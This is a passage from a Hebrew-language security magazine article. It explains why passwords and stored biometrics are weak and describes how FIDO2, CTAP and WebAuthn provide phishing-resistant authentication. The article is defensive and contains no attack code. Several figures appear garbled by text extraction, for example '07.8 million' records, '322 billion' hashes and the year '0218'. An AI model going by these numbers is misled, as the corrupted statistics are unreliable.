‫‪25‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫כמובן שיש אמצעים להגן על שמירת המידע הביומטרי שלכם במאגר בצורה בטוחה אבל פרצות כאלו‬
‫מתגלות לצערנו לא מעט‪ .‬במחקר שבוצע לפני ‪ 3‬שנים על ידי צמד מוצלח ביותר של חוקרים ישראליים (נעם‬
‫רותם ורן לוקאר) נמצא כי ‪ 0‬מאגרי מידע של חברת ‪ Biostar‬היו נגישים לאינדוּקס באמצעות שאילתות‬
‫‪ Elasticsearch‬שבאמצעותן הוציאו ‪ 07.8‬מיליון רשומות ו‪ 23GB-‬של מידע בנוגע טביעות אצבע‪ ,‬נתוני זיהוי‬
‫פנים‪ ,‬תמונות פנים של משתמשים‪ ,‬שמות משתמש וסיסמאות לא מוצפנים‪ .‬שיטוט קצר בגוגל מספק עשרות‬
‫מקרים דומים ושיטוט קצר אף יותר בכל פורום מבוסס שירות ‪ onion‬מספק פלטפורמה נוחה לקניית אותו‬
‫מידע‪.‬‬
‫לסיכום‪ ,‬הזדהות ביומטרית היא ייחדוית ויוצרת מפתח מורכב לפיצוח‪ ,‬אך פריצה לשירות בודד אשר לא‬
‫קונפג כראוי עתיד להוות חולשה פוטנציאלית מול כלל השירותים מולם הזדהנו באמצעות המידע הביומטרי‪.‬‬
‫פתרון קבוע או פלסטר?‬
‫בשנים האחרונות הגיחו מספר פרויקטים גדולים‪ ,‬תוספים לדפדפן וסטארטפים; כל אחד עם הדרך המקורית‬
‫שלו לנסות להתמודד עם הבעיה של שימוש בסיסמאות‪ Google Password Checkup .‬אשר מתריע בפני‬
‫משתמשיו מסיסמאות שנחשפו‪ ,‬סיסמאות חלשות וסיסמאות בשימוש חוזר הוא דוגמה פנטסטית לכיצד‬
‫ענקית הטכנולוגיה מנסה להיאבק בחוסר מזלם (ופזיזותם) של משתמשיה‪:‬‬

‫‪26‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫שירות שונה אך עם כוונה זהה מוצג באתר ‪:haveibeenpwned.com‬‬
‫תוספות מיוחדות לדפדפן (כמו ‪ )RoboForm‬וגם פתרונות זהים לסביבה הלוקאלית (כמו ‪ )1Password‬פותחו‪,‬‬
‫כל ייעודן הוא להחזיק מסד נתונים מוצפן לכל הסיסמאות שברשות המשתמש הפשוט על מנת שזה יוכל‬
‫לשמור על סיסמאותיו בצורה מאובטחת יותר‪ .‬יש עוד עשרות מוצרים שמצאו את דרכם לעולם הצרכנים אבל‬
‫השאלה שצריכה להישאל היא האם אתר‪ /‬תוסף‪ /‬מנגנון שאומר שכנראה כבר פרצו לי הוא הפתרון הטוב‬
‫ביותר שיכולנו לבוא איתו או רק פלסטר זמני? ובכן‪ ,‬אתם כבר יכולים לנחש מה הדעה שלנו‪.‬‬
‫אז מה הבעיה שלנו עם סיסמאות?‬
‫אימות מבוסס סיסמה הוא הצורה הנפוצה ביותר של אימות משתמשים‪ .‬עם זאת‪ ,‬זוהי הדרך הפשוטה‬
‫והנוחה ביותר לגניבת זהות והסלמת הרשאות בדגש על משתמשים חזקים ברשת‪.‬‬
‫רובנו אנשים של מספרים אז קצת סטטיסטיקות‪ :‬כ‪ 81%-‬מגניבות הזהויות נובע משימוש בסיסמאות‬
‫חלשות‪ ,‬אדם ממוצע עושה שימוש ב‪ 107-‬חשבונות שונים (שלרוב מקושרים לחשבון מייל בודד) ועלות‬
‫פריצות הסייבר לעסקים בארה"ב מגניבת זהויות גבוהה מ‪ 5-‬מיליארד דולר בשנה‪.‬‬

‫‪27‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫חולשות מוכרות בשימוש בסיסמאות‪:‬‬
‫‪ )1‬סיסמאות הן חלשות‪ ,‬חוזרות על עצמן וקלות לניחוש‪ :‬מספיק להסתכל על הסיסמאות הנפוצות ביותר‬
‫בשנים האחרונות כדי להבין את גודל הבעיה‪ .‬ניקח את זה צעד קדימה‪ ,‬אתם יכולים לנחש איזו סיסמה‬
‫כבר עשור כובשת את המקום הראשון בשכיחותה? אם עניתם כל דבר מתוחכם יותר מ‪"103456" -‬‬
‫אתם טועים‪ .‬גם בהגדרת מגבלות לבחירת סיסמה מורכבת לא צפויות הצלחות גדולות מדי‪ .‬לדוגמה‪,‬‬
‫אם נדרוש סיסמא בת ‪ 7‬תווים‪ ,‬לפחות מספר אחד‪ ,‬ללא מספרים עוקבים וסימול ייחודי‪ ,‬במקום לקבל‬
‫את ‪ ,mt2y@Qp‬כנראה נסיים עם !‪ Admin1‬המוכר‪ .‬ה‪ meme-‬של מישהו שם לעצמו מקל באופניים‬
‫ומאשים אחרים מתאים פה בצורה מופתית‪.‬‬
‫‪ )0‬מחזור סיסמאות במגוון פלטפורמות ‪ -‬נחשו מה‪ ,‬מבחינת אנטרופיה הסיסמה ‪ mt2y@Qp‬היא מעולה‬
‫אבל אם הזנתם אותה בכל אתר אינטרנטי שקיים ופרצו לאחד מהם (באמצעות חולשה של הממשק‪,‬‬
‫השרת עליו יושב ה‪ ,DB-‬הפרוטוקול שנעשה בו שימוש וכו') כנראה שתוך מספר שעות שאר השירותים‬
‫(המייל‪ ,‬קופת הגמל‪ ,‬חברת האשראי וחלילה אף חשבון הנטפליקס) כעת פתוחים למרבה במחיר‪.‬‬
‫‪ )3‬ישנם כלים ארוזים ומוכנים לפיצוח סיסמאות מגובבות‪ .‬כרטיס מסך החדש ‪ GeForce RTX 4090‬של‬
‫‪ Nvidia‬שיצא ממש לא מזמן יכול לפצח ‪ 322‬מליארד (!) גיבובי ‪ NTLM‬בשנייה ו‪ 022-‬אלף גיבובים של‬
‫‪ .bcrypt‬כן כן ממש לפי ה‪ benchmark-‬של ‪.hashcat‬‬
‫‪ )4‬סיסמאות ניתנות למניפולציות חברתיות ‪ -‬הזנת פרטי חשבון לאתר ‪ ,phishing‬מענה להודעת ‪SMS‬‬
‫לעדכון פרטי ההתקשרות לבנק‪ ,‬שיתוף הסיסמה עם גורם תמיכה אלמוני‪ ,‬וכמובן‪ ,‬הזנת פרטי חשבון‬
‫לאחר ביצוע סקר עם ‪ 5‬שאלות שבסופו תזכה בטלוויזיה ‪ 60‬אינץ ודירה בהרצליה פיתוח‪.‬‬
‫אז מה היינו רוצים?‬
‫ת'אמת‪ ,‬לאחר הסעיפים הקודמים זה אמור להיות די ‪ - straight forward‬יכולת להגדיר סיסמה שמורכבת‬
‫מעשרות תווים אקראיים‪ ,‬סיסמה ייחודית לכל שירות שאנחנו מנויים אליו‪ ,‬שהאתר יוודא שזה באמת אני‬
‫שמנסה לגשת לחשבון שלי (בעזרת הזדהות ביומטרית או משהו בסגנון של הזדהות חזקה אחרת)‪ ,‬שבצד‬
‫השרת לא ידעו מה הסיסמא שלי (כלומר גם אם הוא יפרץ מתישהו לא יחשף שום מידע שישליך על‬
‫שירותים נוספים) ולמען האמת עדיף שגם אני לא אדע את הסיסמא (ובכך לחסוך לעצמי ולארגון אפשרויות‬
‫למניפולציות פסיכולוגיות ופישינג)‪ .‬בקיצור‪ ,‬אנחנו רוצים את ‪.FIDO2‬‬

‫‪28‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מרכיבי פרוטוקול ‪FIDO2‬‬
‫פרוטוקול ‪ FIDO2‬מורכב תת‪-‬פרוטוקולים שהוגדרו עבורו‪:‬‬

‫‪ Client to Authenticator Protocol - CTAP .1‬הוא הפרוטוקול המאפשר תקשורת בין מאמת הנוכח‬
‫בתצורת "חומרה נודדת" לאפליקציית לקוח‪ .‬הוא מגדיר את אופן מימוש מכשיר ה"אימות" בהיבטי‬
‫קריפטוגרפיה‪ ,‬שמירת הסוד (מפתח)‪ ,‬ממשקים‪ ,‬תקשורת מול הדפדפן וצורות ההזדהות הנתמכות‬
‫(טביעת אצבע‪ ,‬זיהוי פנים‪ ,‬הקלדות ‪ Pincode‬ועוד)‪ CTAP .‬הוא התפתחות של תקן ‪( FIDO U2F‬אותו‬
‫הצגנו בהתחלה) עם מספר שיפורים באופן המימוש‪ ,‬נקיון הקוד ומענה לחולשות הגנה‪.‬‬
‫בסופו של יום חשוב להבין כי ‪ CTAP‬נועד להבטיח שהתקשורת עם אמצעי האימות מתבצעת באמצעות‬
‫ערוץ תקשורת מאובטח מבוסס טכנולוגיות 'קרובות'‪ .‬תקשורות אלו דורשות חיבור פיזי (‪ )USB‬או‬
‫תקשורת קצרת טווח (‪ )NFC, BT‬בין פלטפורמת המחשוב שמולה נדרש להזדהות ואמצעי ההזדהות (ה‪-‬‬
‫‪ ,)Authnticater‬נראה בהמשך מדוע זה נדרש‪ ,‬ולא ניתן לעשות שימוש בתקשורת סלולאר או ‪ Wifi‬בין‬
‫אמצעי הזיהוי והמחשב‪.‬‬
‫‪ - WebAuthn .0‬התקן הרשמי לאימות ללא סיסמה מול אתרי ‪ .WEB‬התקן מגדיר את התקשורת וחילוף‬
‫המידע בין דפדפן המשתמש ושרתי הרשת מולם הוא רוצה להזדהות‪ .‬התקן מגדיר שימוש במפתחות‬
‫א‪-‬סימטריים‪ ,‬פונקציות ואוביקטים בשימוש‪ ,‬מימוש ‪ Challenge-Response‬בין ה‪ Client-‬לשרתים‬
‫(המכונים ‪ ,)Relaying party - RP‬יצירת מפתח ייחודי מול כל ‪ RP‬ועוד‪ .‬במסגרת בניית התקן נכתבו‬
‫ספריות למימוש ‪ Webauthn‬בסביבות פיתוח מוכרות ופורסמו כ‪ open source-‬לכל המעוניין‪.‬‬
‫ניתן לראות את סיכום שני הסעיפים ולהמחיש את השימוש בשני הפרוטוקולים בתמונה הבאה‪:‬‬
‫‪ WebAuthn‬מספק יתרונות אבטחה רבים ביניהם‪:‬‬

‫‪29‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫ביטול סיסמאות ושימוש באימות חזק‪ :‬שימוש בהצפנת מפתח ציבורי (‪)Cryptography Public Key‬‬ ‫‪‬‬
‫לביצוע האימות ואבטחת התקשורת עם משתמשים על ידי אתרי האינטרנט‪.‬‬
‫צמצום הסיכונים בפריצות נתונים‪ :‬על ידי שימוש ב‪ WebAuthn -‬אתרים מאחסנים רק את המפתח‬ ‫‪‬‬
‫הציבורי של המשתמש‪ ,‬אשר נועד להיות ציבורי ואינו יוצר סיכוני אבטחה במקרה וזה דלף או נגנב‪.‬‬
‫הפחתת איומי גניבת הזהות‪ WebAuthn :‬משתמש במפתח ציבורי ייחודי עבור כל אתר אינטרנט‪.‬‬ ‫‪‬‬
‫כלומר‪ ,‬גם במידה וגילו את ה‪ credentials-‬לאתר מסויים לא ניתן לעשות איתם כלום באתרים אחרים‪.‬‬
‫המפתח הפרטי שמייחד את זהות האתר למעשה לעולם לא נשלח לאתר ועל ידי העברת ואימות שם‬
‫האתר בהודעה הראשונה שמגיעה מ‪ RP-‬מתאפשר למנוע כל ניסיון פישינג וגניבת ‪ credentials‬של‬
‫משתמשים שבטעות ביצעו הזדהות דרכם (כי מי לא קיבל הודעה מהנסיך הפרסי על כך שהוא זכה‬
‫בירושה גדולה ויוכל לקבל אותה רק לאחר שיתחבר ל‪ PayPal-‬דרך הלינק המצורף)‪.‬‬
‫‪ WebAuthen‬בבסיסו נועד להיות שיטה קלה למימוש עבור אתרי אינטרנט לעבור מאימות מבוסס סיסמה‬
‫אל שימוש בשיטת אימות מאובטחת יותר‪ .‬הפעלת ‪ WebAuthn‬דורשת שני שלבים ראשוניים‪:‬‬
‫שינוי דפי הכניסה וההרשמה כך שיעשו שימוש בפרוטוקולי ‪ FIDO‬לאימות משתמשים‬ ‫‪.I‬‬
‫פריסת שירות אימות לקוחות התומך ב‪ FIDO-‬תחת פלטפורמת ‪Customer Identity and ( CIAM‬‬ ‫‪.II‬‬
‫‪ )Access Management‬כזו או אחרת‪.‬‬
‫איך נראה ‪ FIDO2‬מלמעלה‬
‫לא קיימת היום סטנדרזציה מחייבת לאימות משתמשים‪ ,‬לכן לפני שמציגים את שיטת האימות ש‪FIDO2-‬‬
‫מציעה‪ ,‬שווה לתאר בכלליות איך נראה תהליך אימות 'סטנדרטי'‪.‬‬
‫כאשר שרת רוצה לאמת את זהותו של משתמש קצה לרוב האינטרקציה ביניהם תראה בצורה הבאה‪ :‬אתר‬
‫האינטרנט יבקש הזנה של קלט (לרוב בתצורה של ‪ )login form‬בצד ה‪  client-‬משתמש הקצה יזין את‬
‫הנתונים המבוקשים (שם משתמש ‪ +‬סוד שידוע רק לו) ‪ ‬צד ה‪ client-‬יבצע גיבוב כלשהו על הסוד וימסור‬
‫אותו בצמוד לשם המשתמש לשרת ‪ ‬בצד השרת תתבצע שאילתה למסד הנתונים אשר תבדוק אם‬
‫המשתמש קיים‪ ,‬האם הסוד שהוזן נכון ותחזיר את הרשאותיו של המשתמש לתוכנת ה‪( client-‬לרוב‬
‫בתצורת ‪ token‬כזה או אחר) ‪ ‬דף ‪ HTML‬מתאים יחזור ויטען עם משאבים שבהקצאת השרת ובהתאם‬
‫להרשאותיו של משתמש הקצה‪.‬‬

‫‪30‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫כמובן שנשאף שכל תהליך ההתקשרות הנ"ל בין השרת והלקוח יבוצע על תווך תקשורת מוצפן (‪.)TLS‬‬
‫]מקור כל התמונות בפרק הקרוב ‪[Microsoft Security -‬‬
‫אע"פ שהתהליך הנ"ל נשמע אלמנטרי ובסיסי‪ ,‬מכיוון שאין מכניזם סדיר לאימות (וכל מפתח שני חושב‬
‫שהוא כשיר להמציא את הגלגל מחדש במקום לעשות שימוש בספרייה קיימת)‪ ,‬התרחיש הפשוט הנ"ל‬
‫חושף את שני הצדדים למשטחי תקיפה פוטנציאליים ‪ -‬התחזות למשתמש אחר וגניבת זהות על ידי אתר‬
‫זדוני הם הבולטים ביותר‪.‬‬
‫אז איך נראה אימות באמצעות ‪?FIDO2‬‬
‫במקום שלכל אתר יהיה את ה‪ Login form-‬שלו‪ ,‬ב‪ FIDO2-‬האתר פשוט קורא אל ‪ API‬של ‪ JavaScript‬שמוצע‬
‫על ידי הדפדפן עצמו (כל הדפדפנים הגדולים תומכים ב‪ .)WebAuthen API-‬ממשק ה‪ JS-‬מכיל מספר‬
‫פיצ'רים שמאפשרים לאתר לתשאל את הדפדפן בנוגע למספר מאפיינים אודות המשתמש כדי לאמת את‬
‫זהותו‪.‬‬

‫‪31‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫לפני שהדפדפן מביא לאתר את המידע הוא קודם מוודא שהאתר הוא בעצמו מי שהוא טוען שהוא‪ .‬זה‬
‫מתבצע באמצעות טכנולוגיה שקיימת כבר שנים ‪ -‬תעודות דיגיטליות‪.‬‬
‫בשפה קצת יותר טכנית ‪ -‬הדפדפן אחראי לוואלידציה של שדה ה‪ origin-‬המוכל ב‪ request-‬שהאתר שלח‪.‬‬
‫מדובר בבדיקה של ה‪ domain-‬או ה‪ subdomain-‬שממנו הגיעה הבקשה של האתר אל מול התעודה‬
‫הדיגיטלית שהוא מציג‪ .‬אותה תעודה לרוב תהיה משורשרת עם תעודה אחרת שחתומה על ידי ‪certificate‬‬
‫‪ ,)CA( authority‬גוף גדול ומוכר שתפקידו לאשר ולוודא כי בעל האתר אכן אוטנתי‪ .‬תוכנת ה‪ client-‬שלנו‬
‫(הדפדפן) תקבל את התעודה של ה‪ CA-‬בפורמט ‪ ASN.1‬ולאחר סיריאליזציה זריזה תשווה את התוכן שלה‬
‫לתעודות ששמורות אצלינו במחשב ב‪ .Certificate Store-‬אם הכל עבר כשורה הדפדפן ירנדר את תוכן ה‪-‬‬
‫‪ DOM‬ונקבל גישה‪.‬‬
‫רעיון זה בא לפתור את הבעיה של גניבת זהויות על ידי אתר זדוני‪ .‬כבני אדם קשה לנו להתמיד באופן קבוע‬
‫ולבדוק שהאתר שאנחנו מזדהים אליו הוא באמת האתר שהתכוונו לגשת אליו‪.‬‬
‫ההבדל בין ‪ www.microsotf.com‬אל ‪ www.microsoft.com‬הוא דוגמה טובה לכך‪ .‬דפי ‪ Login‬הם בסך הכל‬
‫דפי ‪ HTML‬וניתן להעתיק אותם במינימום מאמץ במסגרת ‪ .URL spoofing‬ניתן לגרום למשתמשים להזדהות‬
‫מול אתרים זדוניים ובאמצעות ביצוע ‪ redirect‬פשוט להפנות אותם לאחר מכן לאתר המקורי מבלי שהם‬
‫ירגישו בכלל שקרה משהו לא בסדר‪.‬‬
‫מחשבים ממירים את תווי ה‪ ASCII-‬שמוצגים ב‪ URL-‬לבתים ולכן הם רגישים יותר אפילו לשינויים המינוריים‬
‫ביותר‪ .‬תפקיד הדפדפן הוא לזהות באופן חד ערכי ש‪ domain-‬שאנחנו הולכים להזדהות מולו הוא אכן‬
‫האתר שמגיע לו לקבל את ה‪ credentials-‬שלנו‪.‬‬
‫בדוקומנטציה של ‪ NIST 800-63‬שאחראי על ‪ Digital identity guidelines‬הם מתייחסים לכל הסאגה הזו‬
‫בשם ‪ verifier impersonation resistance‬שזו בסה"כ דרך פנסי לומר שאי אפשר לעבוד על מחשב בדרך‬
‫שעובדים עלינו‪.‬‬

‫‪32‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫מרגע שנוצר לנו מפתח עבור ‪ Microsoft.com‬הוא יוכל לשמש לזיהוי ולאימות שלנו רק מול ‪Microsoft.com‬‬
‫ולא שום אתר אחר ‪ -‬בטח שלא ‪ .microsotf.com‬ולכן מרגע שיצרנו מפתח לאתר מסוים גם אם נמסור אותו‬
‫בטעות לאימות באתר אחר ‪ -‬כלום לא יקרה‪.‬‬
‫חשוב כבר עכשיו לעצור ולומר ששום מפתחות \ סיסמאות לא ישלחו על ידי הדפדפן מבלי שהמשתמש‬
‫יאשר ו\או יבצע פעולה כלשהי באופן אקטיבי‪ .‬בדוקומנטציה קוראים לפעולה הנ"ל ‪.Gesture‬‬
‫בנוסף לבקשת כניסה לאתר‪ ,‬תקן ‪ FIDO‬דורש מהמשתמש לבצע 'מחווה' אקטיבית על מנת להתקדם‬
‫בתהליך ההזדהות מול האתר‪ .‬על מנת שאמצעי הזיהוי יבצע חתימה של ה‪ challenge-response-‬באמצעות‬
‫המפתח הפרטי ושההודעה תשלח לשרת בכדי להתקדם במתן הרשאת הגישה לשירות על המתשמש‬
‫לבצע סריקת טביעת אצבע‪ ,‬זיהוי פנים‪ ,‬הקשת קוד או פעולות אחרות שיאמתו מול אמצעי האימות שהוא‬
‫אכן הבעלים החוקי של אמצעי הזיהוי ‪.‬‬
‫הסטנדרט משאיר פתוח את אופן מימוש ההזדהות‪ .‬פעולות ה‪ Gesture-‬יכולות להיות ‪ swipe up‬במסך‬
‫לאחר שבוצע זיהוי ‪ facial recognition‬במכשיר‪ ,‬אימות מבוסס טביעת אצבע באמצעות ‪ FIDO key‬או שיטות‬
‫עתידניות יותר דוגמת מגע בשעון יד שמודד לנו את הדופק (שתאמינו או לא אופייני רק לכם)‪ .‬בכך‪ ,‬קונצוריום‬
‫‪ FIDO‬מעודד תעשיות לפתח טכנולוגיות פשטות‪ ,‬אמינות וחדשניות להזדהות מאובטחת של משתמשים‪.‬‬
‫הקטע היפה בסטנדרט של אימות מבוסס ‪ FIDO‬הוא העובדה שאין מגבלה לאילו שיטות ‪ gesture‬ניתן לבצע‬
‫את האימות באמצעותן‪ .‬טכנולוגיות כמו ‪ BLE ,USB ,NFC‬שממשיכות להתפתח כבר עשרות שנים הגיעו‬
‫לשלב בגרות וכעת אפשר לעשות בהן שימוש בשביל לפתח פתרונות הזדהות נוספים‪ .‬התעשייה וה‪-‬‬
‫‪ ecosystem‬סביב ‪ FIDO‬יכולים לצמוח לאיזה כיוון שהכי יתאים לצרכן ובכך ליצור פתרון בצורה הענפה‬
‫ביותר‪ User experience .‬תמיד מהווה אבן ביניין באינטרנט‪.‬‬

‫‪33‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫בנוסף‪ ,‬הסטנדרט מכסה את הרעיון שהפלטפורמה או מערכת ההפעלה תספק את פתרונות האימות‪.‬‬
‫ככה למשל ב‪ Windows 10\11-‬ניתן להשתמש במכניזם של ‪ Windows Hello‬בשביל לספק ‪Credentials‬‬
‫של ‪ FIDO‬אל הממשק של ‪.WebAuthn‬‬
‫אוקיי‪ ,‬אז עשינו שימוש ב‪ gesture-‬כזו או אחרת בשביל לאמת את זהות המשתמש‪ ,‬מה קורה לאחר מכן?‬
‫למה אנחנו צריכים את זה? התשובה הקצרה ‪ -‬קריפטוגרפיה של מפתח ציבורי‪.‬‬
‫כל מאמת חייב להכיל אזור אחסון מאובטח עבור המפתחות הפרטיים ולאחר ביצוע ה‪ gesture-‬נעשה‬
‫שימוש במפתח הפרטי בשביל לחתום על ה‪ cedentials-‬שונים עבור אתר האינטרנט ואמצעי אבטחה‬
‫נוספים כמו חותמות זמן‪ ,‬מונים אינקרומנטליים וכו'‪ .‬נרחיב על אמצעי ההגנה והשדות שמאפייני כל בקשה‬
‫(ממש ברמת הקוד) במאמר ההמשך‪.‬‬
‫נקודה שחשוב לתת עליה את הדגש היא העובדה כי ה‪( Credentials-‬צמד המפתחות) נוצרים רק על ידי‬
‫המאמת‪ .‬הוא זה שבסופו של דבר יוצר‪ ,‬מחזיק וחותם על המידע גם בתהליך הרישום וגם בתהליך האימות‪.‬‬
‫לכל מכשיר מאמת (כדוגמת ‪ ,YubiKey‬מכשיר סלולארי וכד') הפועל ב‪ FIDO2-‬יש תעודת ‪ X.509‬אשר‬
‫מאוחסנת כאשר המכשיר מיוצר; אלו הן ‪ Attestation Certificate‬אשר מייצגות כל מאמת‪ .‬כלומר מפתח‬
‫נוסף שמשותף לכלל המוצרים מאותו דגם‪ .‬המפתח הפרטי צרוב במכשיר המאמת ולא ניתן לייצאו ולהתערב‬
‫בהפקתו‪ .‬יתרה מזאת‪ ,‬המכשיר חתום מבחינה קריפטוגרפית‪ ,‬כלומר אם תוקפים ינסו ליירט את בקשת‬
‫רישום ולהחליף אותה בערך שלהם‪ ,‬הם לא יוכלו להחליף את המפתח הציבורי שנוצר במפתח אחר כי‬
‫החתימה על ה‪ Attestation-‬לא תהיה תואמת למפתחות המאמת‪.‬‬
‫בנוסף‪ ,‬לעיתים קרובות הארגון מעוניין להגביל את השימוש באמצעי זיהוי ולאפשר שימוש באמצעים‬
‫ספציפיים בלבד‪ .‬זאת לשם שימוש באמצעים מאובטחים יותר (לדגומה שימוש בחומרה ייעודית ולא לאפשר‬
‫הזדהות שמבוססת על המכשיר הנייד ‪ Cross platform‬שנחשבת פחות בטוחה)‪ .‬לצורך כך נדרש לוודא מהו‬
‫הדגם (והטכנולוגיה) של אמצעי הזיהוי‪.‬‬

‫‪34‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫הזכרנו את נושא התעודות הדיגיטליות כבר פעמיים‪ ,‬פעם אחת בדרך בה הדפדפן מאמת את זהותו של‬
‫האתר ופעם שנייה בצורה בה המאמת מוכיח את זהותו לדפדפן‪ .‬במידה ואתם מעוניינים להבין יותר לעומק‬
‫כיצד אימות מבוסס תעודות עובד‪ ,‬מי מנהל את כל הסיפור‪ ,‬היכן בכלל התעודות שמורות לכם במחשב ואיך‬
‫הכל אשכרה נראה ‪ -‬אני (בדעה חצי אובייקטיבית) ממליץ לקרוא את המאמר "על תעודות דיגיטליות ‪ -‬איך‬
‫לסמוך על הסינים באינטרנט" מגליון ‪ 100‬במגזין (מאמר סבבה פלוס‪ ,‬אם תשאלו אותי)‪.‬‬
‫נקודה נוספת שחשוב לשים עליה את הדגש היא שאמצעי אימות בודד מאפשר הזדהות (ושמירת מפתחות)‬
‫למספר רב של אתרים‪ .‬בצורה כזו לא נדרש להחזיק מיליון טוקנים שונים (מונח שקיבל את השם ‪necklace‬‬
‫‪ )of tokens‬בשביל לענות על הצורך של הזדהות לאתרים שונים ‪ -‬אחד מספיק‪.‬‬
‫לאחר שהמפתח שוחרר ממכשיר המאמת וחתם על ה‪ credentials-‬עבור האתר‪ ,‬הדפדפן מוסר אותם לאתר‬
‫עצמו לאחר שווידא כי זהות האתר היא הנכונה והוא זה שביקש את ה‪.original request-‬‬

‫‪35‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫התמונה הגדולה‬
‫אם לסכם בכלליות את כל מה שהוצג בפרק האחרון‪ CTAP2 ,‬ו‪ WebAuthn-‬מגדירים ביחד שכבת‬
‫אבסטרקציה שיוצרת ‪ ecosystem‬עבור אימות חזק בסביבת ‪ .Web‬נוכל לקחת צעד קדימה ולהביט על‬
‫ארכיטקטורת ‪ FIDO2‬הכללית בצורה הבאה‪:‬‬
‫]מקור ‪[Microsoft -‬‬
‫הערה‪ :‬החצים המקווקוים בתכלת מייצגים אינטראקציות התלויות ביישום הספציפי של ממשקי ה‪ API-‬של‬
‫הפלטפורמה וניתנים למודפיקציה‪ .‬נרחיב על החלקים השונים בשרטוט‪:‬‬
‫‪ - Relying Parties & Clients‬אפליקציות ‪ web‬או מערכות ‪ native‬שרוצות לעשות שימוש ב‪.FIDO2-‬‬ ‫‪‬‬
‫השוני העיקרי הוא כיצד הן מממשות את האימות‪ .‬באפליקציות ‪ web‬האתר שרוצה לעשות שימוש ב‪-‬‬
‫‪ FIDO‬לא יכול לפנות ישירות אל ממשק ה‪ WebAuthn API-‬וחייב לעשות שימוש במתווך (הדפדפן)‪.‬‬
‫באפליקציות ‪ native‬המצב שונה ויכול להיות מצב שבו ה‪ RP-‬ירוצו על מכשירי הלקוח ובכך ישמשו גם‬
‫בתור ‪ WebAuthn client‬בשביל לשלוח ולקבל בקשות של ‪ .WebAuthn‬חשוב לציין שאין שום תזכור‬
‫לשימוש ב‪ )SSO( Single sign-on-‬בארכיטקטורה הנ"ל‪.‬‬
‫‪ - Client Device‬ממש החומרה שמבצעת את האימות‪ .‬פלטפורמת המחשוב שממנה המשתמש מבקש‬ ‫‪‬‬
‫לצרוך את השירות (שעבורו הוא נדרש להזדהות)‪.‬‬
‫‪ - WebAuthn API‬הממשק שמאפשר ללקוח לשלוח בקשות למכשיר האימות‪.‬‬ ‫‪‬‬
‫‪ - Platform Authenticator‬אימות מובנה על מכשיר הלקוח‪ .‬לא ניתן לגשת אליו בפרוטוקולים ‪cross-‬‬ ‫‪‬‬
‫‪ platform‬כמו ‪ USB, NFC, BLE‬אלא רק על ידי עבודה ישירה מול החומרה שעל המכשיר‪ .‬סורק טביעת‬
‫אצבע על מחשב לפטופ\ טלפון חכם הוא דוגמה טובה לכך‪.‬‬
‫‪ - CTAP2 Platform/Host‬החלק במכשיר הלקוח שאחראי לניהול המשא ומתן עם המאמת‪.‬‬ ‫‪‬‬

‫‪36‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
‫‪ - Roaming Authenticator‬מאמת המסוגל להתחבר למספר מכשירי לקוח וחייב לעבור אינטרקציה‬ ‫‪‬‬
‫עם לקוח הקצה בשביל לחתום באמצעות הסוד שהוא מכיל על ה‪ .credentials-‬דוגמאות למאמתים‬
‫נודדים ‪ -‬כרטיסי קרבה מבוססים ‪ ,NFC‬טלפונים חכמים מאופשרי ‪ ,BLE‬מפתחות על גבי ‪ USB‬וכו'‪ .‬החלק‬
‫החשוב הוא שמכשירים האלו יתמכו בפרוטוקולים ‪ CTAP1‬ו\או ‪.CTAP2‬‬
‫כל מכשיר לקוח (כמו דפדפן או אפליקצית ‪ )native‬יכול לממש את הסטנדרט עם כל מכשיר אימות‪ .‬לשם‬
‫הדוגמה נסתכל על היישום של חברת ‪ Microsoft‬ל‪ FIDO2-‬בפלטפורמת ‪ Windows‬עוד מ‪:0218-‬‬
‫]מקור ‪[Microsoft -‬‬
‫אכן‪ ,‬הארכיטקטורה נראית מאוד זהה לתרשים הכללי של ‪ FIDO2‬אך כעת כל מרכיב מקבל תפקיד מוגדר‪:‬‬
‫‪ Microsoft Account‬מממשת את ה‪ .WebAuthn RP-‬באמצעותה ניתן להירשם למספר שירותים ב‪-‬‬ ‫‪‬‬
‫‪ Windows‬החל משירותיים ליבתיים כמו ‪ Outlook‬וחלה בשירותים ביזריים שספק מדוע הם עוד קיימים‬
‫כמו ‪ .Xbox‬בכל פעם (כמעט) שתראו שירות ‪ Windows‬שדורש ‪ Sign-in‬תהיה אופציה לשימוש ב‪FIDO2-‬‬
‫על ידי שימוש ב‪ client side javascript-‬בשביל לטרגר את הדפדפן ‪ Microsoft Edge‬לתקשר עם‬
‫הממשקים של ‪.WebAuthn APIs‬‬
‫‪ Microsoft Edge‬מהווה את ה‪ .WebAuthn client-‬דפדפן הדגל של ‪ Microsoft‬תומך בהתממשקות‬ ‫‪‬‬
‫מלאה מול פיצ'רים של פרוטוקולי ‪ CTAP2‬ו‪ WebAuthn-‬בסביבת ‪ Windows‬וגם בהרחבה של ‪AppID‬‬
‫שמהווה תאימות לאחור עבור ‪ .U2F‬עם זאת‪ ,‬כשזה מגיע ל‪ Android-‬דפדפן ‪ Edge‬לא תומך בכלל ב‪-‬‬
‫‪ .WebAuthn‬זאת כבר בעיה של גוגל ו‪.Chrome-‬‬
‫הערה‪ :‬במקרה הספציפי של ‪ ,Windows‬מכיוון ש‪ Microsoft Account-‬צריכה פיצ'רים והרחבות שקיימות‬
‫בלבד במאמתים של ‪ ,FIDO2 CTAP2‬לא ניתן לעשות שימוש ב‪ credentials-‬שהושגו דרך )‪ .CTAP1 (UAF‬זאת‬
‫למרות ש‪ Edge-‬תומך בסוגי מאמתים שעושים שימוש גם ב‪ CTAP1-‬וגם ב‪ CTAP2-‬ולכן הוא יכול ליצור גם‬
‫‪ U2F‬וגם ‪.FIDO credentials‬‬

‫‪37‬‬ ‫גליון ‪ ,146‬ינואר ‪2023‬‬
